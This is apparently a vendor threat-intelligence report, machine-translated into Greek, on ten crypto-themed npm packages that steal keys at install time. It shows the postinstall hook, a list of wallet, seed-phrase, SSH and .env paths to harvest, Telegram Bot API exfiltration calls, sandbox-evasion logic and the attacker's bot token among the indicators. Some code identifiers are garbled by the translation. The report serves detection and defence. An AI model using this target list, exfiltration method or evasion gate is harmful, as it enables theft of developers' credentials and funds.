SeedSweep: Δέκα κακόβουλα πακέτα κρυπτονομισμάτων npm

SeedSweep: Δέκα πακέτα npm με θέμα τα κρυπτονομίσματα που εκτελούνται μόνο όταν δεν παρακολουθεί κανείς

TL? DR

Στις 9 Ιουνίου 2026, ένας μόνο λογαριασμός εκδότη npm, aicrypto-xzggg, αποστέλλεται δέκα πακέτα με ονόματα με γεύση κρυπτογράφησης και Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, και έξι ακόμη.

Κάθε πακέτο εκτελεί το ίδιο ωφέλιμο φορτίο από ένα postinstall γάντζο. Κατά την εγκατάσταση, ελέγχει εάν εκτελείται μέσα σε CI ή σε sandbox — εάν όχι, διαβάζει κλειδιά πορτοφολιού, αρχεία φράσης seed, κλειδιά SSH και .env αρχεία από έξι οικοσυστήματα blockchain και τα μεταδίδει σε ένα bot Telegram.

Η μοναδική ένδειξη που μπορεί να αναζητήσει αμέσως ένας αμυντικός είναι το id bot του Telegram. 8227918239.

Αυστηρότητα: κρίσιμης — άμεση κλοπή κλειδιών υπογραφής και φράσεων ανάκτησης από σταθμοί εργασίας προγραμματιστών.

Η Επίθεση: Πώς Λειτουργεί

Τα πακέτα διαφημίζονται ως βοηθητικά προγράμματα για προγραμματιστές blockchain. πακέτο.json είναι ελάχιστη και δείχνει τον κύκλο ζωής εγκατάστασης σε ένα σενάριο:

{   "name": "farming-tools-12",   "main": "src/index.js",   "scripts": { "postinstall": "node scripts/postinstall.js" },   "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],   "author": "Alex Smith",   "license": "MIT" }

σενάρια/postinstall.js είναι μια ροδέλα μίας γραμμής που φορτώνει το πραγματικό ωφέλιμο φορτίο: απαιτούν(“../src/index.js”). Επειδή μετά την εγκατάσταση εκτελείται αυτόματα κατά τη διάρκεια npm install, δεν απαιτείται εισαγωγή κώδικα από τον προγραμματιστή — η τοποθέτηση του πακέτου σε ένα δέντρο εξαρτήσεων είναι αρκετή για να εκτελεστεί.

Η αλυσίδα θανάτου στο εσωτερικό src/index.js είναι τέσσερα βήματα:

  1. Έλεγχος περιβάλλοντος. Μια συνάρτηση guard αποφασίζει εάν ο κεντρικός υπολογιστής μοιάζει με παράγοντα δημιουργίας ή με sandbox ανάλυσης.
  2. Καθυστέρηση. Η εκτέλεση αναβάλλεται λόγω setTimeout περίπου 7.4 δευτερόλεπτα.
  3. Συλλογή. Πραγματοποιείται πλοήγηση σε μια σταθερή λίστα διαδρομών πορτοφολιού, κλειδιού και μυστικών αρχείων· τα υπάρχοντα αρχεία τοποθετούνται σε ουρά αναμονής.
  4. Εκδιήθηση. Τα αρχεία που βρίσκονται σε ουρά αποστέλλονται σε ένα bot του Telegram, και ακολουθεί ένα συνοπτικό μήνυμα.

Η λίστα στόχων συλλογής εκτείνεται σε έξι αλυσίδες συν γενικά μυστικά προγραμματιστών. Περικοπή:

~/.config/solana/id.json        ~/.ethereum/keystore ~/.solana/keypair.json          ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore         ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt                ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json  ./keystore.json  ./mnemonic.txt  ./seed.txt ./seedphrase.txt  ./recovery.txt  ./private.key  ./.env  ./.env.local

Συνολικά είκοσι μία διαδρομές. Καταχωρίσεις καταλόγου όπως ~/.ethereum/κλειδί αποθήκευσης επεκτείνονται και κάθε αρχείο στο εσωτερικό μπαίνει σε ουρά αναμονής. Η εξαγωγή χρησιμοποιεί απευθείας το Telegram Bot API — ένα αποστολή μηνύματος κλήση με μια σύνοψη κεντρικού υπολογιστή και αρχείου, και στη συνέχεια μια αποστολή εγγράφου μεταφόρτωση πολλαπλών τμημάτων για κάθε αρχείο:

κείμενο

POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument   (one per file)

Το συνοπτικό μήνυμα που συναρμολογεί ο κώδικας ξεκινά με την κυριολεκτική συμβολοσειρά ΚΛΟΠΤΗΣ ΚΡΥΠΤΟΓΡΑΦΗΣΗΣ, ακολουθούμενο από το όνομα κεντρικού υπολογιστή, το όνομα χρήστη, το όνομα του πακέτου προέλευσης, τον αριθμό αρχείων και τη χρονική σήμανση.

Τι νέο υπάρχει εδώ

Το διαφοροποιητικό στοιχείο δεν είναι ο μηχανισμός κλοπής — exfil από το npm που βασίζεται στο Telegram μετά την εγκατάσταση hooks είναι πολύ γνωστό. Είναι το πύλη εκτέλεσης. Πριν από οποιαδήποτε ενέργεια, το payload καλεί μια συνάρτηση που επιστρέφει true όταν ο κεντρικός υπολογιστής μοιάζει με CI runner ή sandbox και επιστρέφει νωρίς όταν συμβαίνει αυτό:

κείμενο

isTestEnvironment() is true when ANY of:   - env CI == "true"  OR  GITHUB_ACTIONS == "true"  OR  JENKINS_HOME set   - env NODE_ENV in {test, development}   - username/USER contains: runner, sandbox, test, docker,     jenkins, gitlab, travis, circleci   - hostname contains: sandbox, test, ci   - hostname matches /^[a-f0-9]{12}$/   (a container-id shape)

Το regex container-id είναι η αξιοσημείωτη ρήτρα: ένα όνομα κεντρικού υπολογιστή 12 δεκαεξαδικών χαρακτήρων είναι το προεπιλεγμένο σχήμα που το Docker αντιστοιχίζει σε ένα δοχείο, επομένως το ωφέλιμο φορτίο αντιμετωπίζει το "το όνομα κεντρικού υπολογιστή μου μοιάζει με κοντέινερ Docker" ως λόγο για να παραμείνει αδρανές. Σε συνδυασμό με την καθυστέρηση επτά δευτερολέπτων, ο σχεδιασμός ευνοεί την εκτέλεση στον πραγματικό σταθμό εργασίας ενός προγραμματιστή και την σιωπή οπουδήποτε μοιάζει με αυτοματοποιημένη ανάλυση. Αυτή η πύλη είναι που κατέστειλε τα σήματα δυναμικής ανάλυσης και διατήρησε τη στατική ροή exfil ως το κύριο αποδεικτικό στοιχείο καταδίκης.

Χρονολόγιο

Ημερομηνία (UTC) Συμβάν
2026-06-09 ~02:48 Τα πρώτα πακέτα στο σύμπλεγμα επισημάνθηκαν κατά τη δημοσίευση (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0)
2026-06-09 ~03:21–03:25 Μέλη με υψηλότερη έκδοση που έχουν επισημανθεί (ethereum-kit-9 στο 1.25.36, wallet-sdk-9 στις 3.7.73)
2026-06-09 ~03:58–03:59 Τελικά μέλη που έχουν επισημανθεί (defi-tools-39 στο 4.26.29, swap-sdk-87 στο 4.63.78, farming-tools-12 στις 4.68.54)
2026-06-09 Και τα δέκα ταξινομημένα ως κακόβουλα και έχουν αναφερθεί για αφαίρεση από το μητρώο

Και τα δέκα εμφανίστηκαν μέσα σε περίπου εβδομήντα λεπτά, γεγονός που αντιστοιχεί σε μία μόνο δημοσίευση με σενάριο από έναν λογαριασμό.

Δείκτες συμβιβασμού

Δείκτες δικτύου και συμπεριφοράς (αποσυμπίεση κεντρικού υπολογιστή):

Δείκτης αξία
Τελικό σημείο Exfil api[.]telegram[.]org (API Bot Telegram)
Αναγνωριστικό bot Telegram 8227918239
διακριτικό bot 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs
Αναγνωριστικό συνομιλίας Telegram 6433587894
Εγκατάσταση γάντζου postinstallscripts/postinstall.jssrc/index.js
Σειρά δείκτη CRYPTO STEALER στο συναρμολογημένο συνοπτικό μήνυμα
Publisher aicrypto-xzggg (δηλωμένο email vipsyria88@gmail[.]com, μη επαληθευμένο)

Πακέτα και εκδόσεις, η καθεμία με το SHA-256 του src/index.js ωφέλιμο φορτίο (τα ωφέλιμα φορτία είναι λειτουργικά πανομοιότυπα και διαφέρουν μόνο στην ενσωματωμένη ετικέτα ονόματος πακέτου, επομένως κάθε hash είναι διαφορετικός):

html
Πακέτο Έκδοση SHA-256 του src/index.js
farming-tools-12 4.68.54 b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4
swap-sdk-87 4.63.78 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c
defi-tools-39 4.26.29 ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee
wallet-sdk-9 3.7.73 ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502
ethereum-kit-9 1.25.36 c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f
ethereum-kit-1 1.0.0 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381
solana-core-4 1.0.0 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d
web3-tools-9 1.0.0 db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d
crypto-utils-7 1.0.0 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92
blockchain-helper-0 1.0.0 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db

Ένα απλό ερώτημα αναζήτησης: αναζητήστε αρχεία καταγραφής εγκατάστασης και αρχεία κλειδώματος για οποιοδήποτε από τα δέκα ονόματα και αναζητήστε εξερχόμενη κίνηση για συνδέσεις με το Telegram Bot API από κεντρικούς υπολογιστές κατασκευής ή προγραμματιστών που δεν το χρησιμοποιούν διαφορετικά.

Απόδοση & Παρατηρούμενη Συμπεριφορά

Και τα δέκα πακέτα δημοσιεύθηκαν από έναν λογαριασμό, aicrypto-xzggg, του οποίου το δηλωμένο email είναι vipsyria88@gmail[.]comΤόσο το email όσο και ο σύνδεσμος source-control δεν είναι επαληθευμένα στα μεταδεδομένα του μητρώου και ο λογαριασμός έχει έντονα αρνητική βαθμολογία φήμης. Δεν έχουμε επιβεβαιώσει ποιος χειρίζεται τον λογαριασμό.

Δύο λεπτομέρειες αξίζει να διαχωριστούν από οποιαδήποτε αξίωση ταυτότητας. Πρώτον, η πακέτο.json συγγραφέας αναγνώσεις πεδίου Alex Smith σε κάθε πακέτο, ενώ ο πραγματικός λογαριασμός δημοσίευσης είναι aicrypto-xzggg; το πεδίο συγγραφέα είναι αυτοδηλωμένα μεταδεδομένα και δεν αποδεικνύει την πατρότητα. Δεύτερον, οι αριθμοί έκδοσης ποικίλλουν σημαντικά — ορισμένα μέλη βρίσκονται στο 1.0.0, άλλοι στο 4.68.54 — κάτι που συνάδει με την επαναχρησιμοποίηση ενός μόνο ωφέλιμου φορτίου σε όλα τα πρόσφατα ονόματα πακέτων αντί να διατηρείται το πραγματικό ιστορικό κυκλοφορίας.

Η συμπεριφορά είναι ομοιόμορφη σε όλο το σύμπλεγμα: η ίδια λίστα διαδρομών προορισμού, το ίδιο αναγνωριστικό bot και αναγνωριστικό συνομιλίας Telegram, η ίδια πύλη περιβάλλοντος, το ίδιο ΚΛΟΠΤΗΣ ΚΡΥΠΤΟΓΡΑΦΗΣΗΣ δείκτης. Αυτή η ομοιομορφία είναι ο ισχυρότερος σύνδεσμος μεταξύ των πακέτων. Είναι ένα σήμα του ίδιου χειριστή, όχι μια ταυτότητα.

Αντίκτυπος, Τάσεις & Οδηγίες για Υπερασπιστές

Η έκθεση είναι συγκεκριμένη. Ένας προγραμματιστής που εγκαθιστά οποιοδήποτε από αυτά τα πακέτα σε έναν σταθμό εργασίας που περιέχει ένα πορτοφόλι λογισμικού, ένα αρχείο φράσης seed ή ένα κλειδί SSH, διαβάζει και μεταδίδει αυτά τα αρχεία από τον κεντρικό υπολογιστή μέσα σε δευτερόλεπτα. Οι φράσεις ανάκτησης και τα κλειδιά υπογραφής δεν λήγουν όπως λήγει ένα διακριτικό συνεδρίας. Μόλις ένα mnemonic.txt ή ένας Σολάνα id.json εγκαταλείπει το μηχάνημα, τα κεφάλαια που ελέγχει διατρέχουν κίνδυνο μέχρι να μετακινηθούν. Η ίδια διαδρομή καταγράφει επίσης .env αρχεία, τα οποία συνήθως φέρουν κλειδιά API και διαπιστευτήρια βάσης δεδομένων.

Δύο τάσεις κρύβονται πίσω από αυτό το σύμπλεγμα. Η πρώτη είναι η συνεχιζόμενη χρήση ονομάτων με θέμα τα κρυπτονομίσματα και το Web3 για να προσελκύσουν ένα συγκεκριμένο κοινό — προγραμματιστές που διατηρούν πορτοφόλια και κλειδιά στον ίδιο υπολογιστή στον οποίο εγκαθιστούν εξαρτήσεις. Η δεύτερη είναι η ωρίμανση της αποφυγής sandbox σε φορτία κατά τον χρόνο εγκατάστασης. Μια πύλη που ελέγχει για μεταβλητές περιβάλλοντος CI, ονόματα χρήστη runner και ένα σχήμα ονόματος κεντρικού υπολογιστή Docker container-id είναι μια σκόπιμη προσπάθεια να συμπεριφέρεται διαφορετικά υπό ανάλυση από ό,τι σε έναν πραγματικό σταθμό εργασίας και ανεβάζει τον πήχη για καθαρά δυναμική ανίχνευση.

Για τους αμυντικούς:

Εγκατάσταση με τα σενάρια απενεργοποιημένα από προεπιλογή. npm install –ignore-scripts, ή ορίστε αγνόηση-scripts=true in .npmrc, αποτρέπει μετά την εγκατάσταση εκτέλεση; ενεργοποιήστε τα σενάρια μόνο για τις συγκεκριμένες εξαρτήσεις που τα χρειάζονται πραγματικά.

Κρατήστε τα πορτοφόλια και τα κλειδιά υπογραφής μακριά από μηχανήματα δημιουργίας και ανάπτυξης. Χρησιμοποιήστε ένα πορτοφόλι υλικού ή έναν αποκλειστικό, χωρίς εξαρτήσεις κεντρικό υπολογιστή υπογραφής.

Χαρίστε .env, keystores και αρχεία seed-phrase ως crown jewels. Δεν πρέπει ποτέ να βρίσκονται σε έναν κατάλογο που είναι επίσης ένας npm install λειτουργικό δέντρο.

Αναζητήστε εξερχόμενες συνδέσεις στο Telegram Bot API από το CI και τους κεντρικούς υπολογιστές προγραμματιστών. Τα περισσότερα περιβάλλοντα δημιουργίας δεν το καλούν ποτέ. Ένα περιβάλλον που το κάνει ξαφνικά, αμέσως μετά την εγκατάσταση, αξίζει να το διερευνήσετε.

Καρφίτσωμα και έλεγχος εξαρτήσεων. Ένα ολοκαίνουργιο πακέτο με ένα γενικό όνομα κρυπτογράφησης, ένα μετά την εγκατάσταση γάντζο και κανένας σύνδεσμος αποθετηρίου δεν δικαιολογεί την εξέταση πριν εισέλθει σε ένα αρχείο κλειδώματος.

Η ρήτρα αποφυγής του container-id αποτελεί επίσης μια υπενθύμιση για τους αναλυτές: ένα φορτίο εγκατάστασης που παραμένει αδρανές σε ένα sandbox δεν είναι καλοήθης, είναι επιλεκτικό. Η στατική ανασκόπηση της διαδρομής εγκατάστασης παραμένει ο αξιόπιστος τρόπος για να δείτε τι μπορεί να μην δείξει η δυναμική εκτέλεση.

Αναφορές

τεκμηρίωση εγκατάστασης npm — σενάρια κύκλου ζωής και - Αγνοήστε τα σενάρια— αναφορά για την απενεργοποίηση της αυτόματης εγκατάστασης hooks. 

εργαλεία-ανάλυσης-σύνθεσης-λογισμικού-sca
Ιεράρχηση, αποκατάσταση και ασφάλεια των κινδύνων λογισμικού σας
Αποκτήστε τον Δωρεάν Λογαριασμό σας.
Δεν απαιτείται πιστωτική κάρτα.

Ασφαλίστε την ανάπτυξη και την παράδοση λογισμικού σας

με το Xygeni Product Suite